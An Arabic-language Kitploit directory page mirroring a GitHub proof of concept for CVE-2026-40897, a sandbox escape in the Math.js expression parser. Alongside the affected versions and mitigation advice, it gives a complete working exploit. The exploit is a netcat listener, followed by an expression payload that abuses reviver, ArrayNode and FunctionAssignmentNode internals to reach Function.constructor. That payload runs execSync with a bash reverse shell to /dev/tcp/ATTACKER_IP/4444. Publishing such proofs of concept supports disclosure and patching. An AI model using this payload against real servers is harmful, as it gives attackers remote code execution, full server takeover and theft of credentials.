Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40897 — Math.js محلل التعبيرات RCE | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-40897
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js محلل التعبيرات RCE

عرض المستودع
2منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40897 تنفيذ التعليمات البرمجية عن بعد في محلل تعبيرات Math.js

★ CVE-2026-40897 تنفيذ التعليمات البرمجية عن بعد في Math.js إثبات المفهوم ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


نظرة عامة

CVE-2026-40897 هو ثغرة تجاوز الصندوق الرملي تؤدي إلى تنفيذ التعليمات البرمجية عن بعد في محلل تعبيرات Math.js. يقوم مرشح isSafeProperty بالتحقق فقط من الوصول إلى الخصائص من تعبيرات المستخدم، وليس من مسارات التعليمات البرمجية الداخلية. من خلال تسريب المصفوفة الداخلية لـ ArrayNode عبر toJSON() واستبدال .map الخاص بها، يمكن للمهاجم إجبار التعليمات البرمجية الداخلية على الوصول إلى Function.constructor وتنفيذ جافا سكريبت عشوائي.


الإصدارات المتأثرة

الفئةالإصدار
ضعيفMath.js 13.1.1 ≤ الإصدار ≤ 15.1.1
مصحح15.2.0

التأثير

  • تنفيذ تعليمات جافا سكريبت عشوائية (RCE)
  • الوصول إلى نظام ملفات المضيف
  • اتصال شل عكسي يؤدي إلى اختراق كامل للخادم
  • تسريب بيانات اعتماد الخلفية والبيانات الحساسة

البيئة

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

إثبات المفهوم

بعد تشغيل البيئة الضعيفة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.

الخطوة 1. بدء مستمع شل عكسي

root@kitploit:~
nc -lvnp 4444

الخطوة 2. إرسال الحمولة الخبيثة

أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، عبر إدخال الحساب في التطبيق).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

الخطوة 3. تأكيد الوصول إلى الشل على جانب المهاجم

يتصل الخادم الهدف مرة أخرى بمستمع المهاجم، مما يمنح شل باش تفاعلي.


التخفيف

  • ترقية Math.js إلى إصدار مصحح
  • تجنب تمرير إدخال مستخدم غير موثوق به مباشرة إلى math.evaluate()
  • تقييد كشف الوظائف/الفئات الداخلية (reviver وFunctionAssignmentNode وArrayNode) عبر محلل التعبيرات

التحليل

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
تنزيل الأداة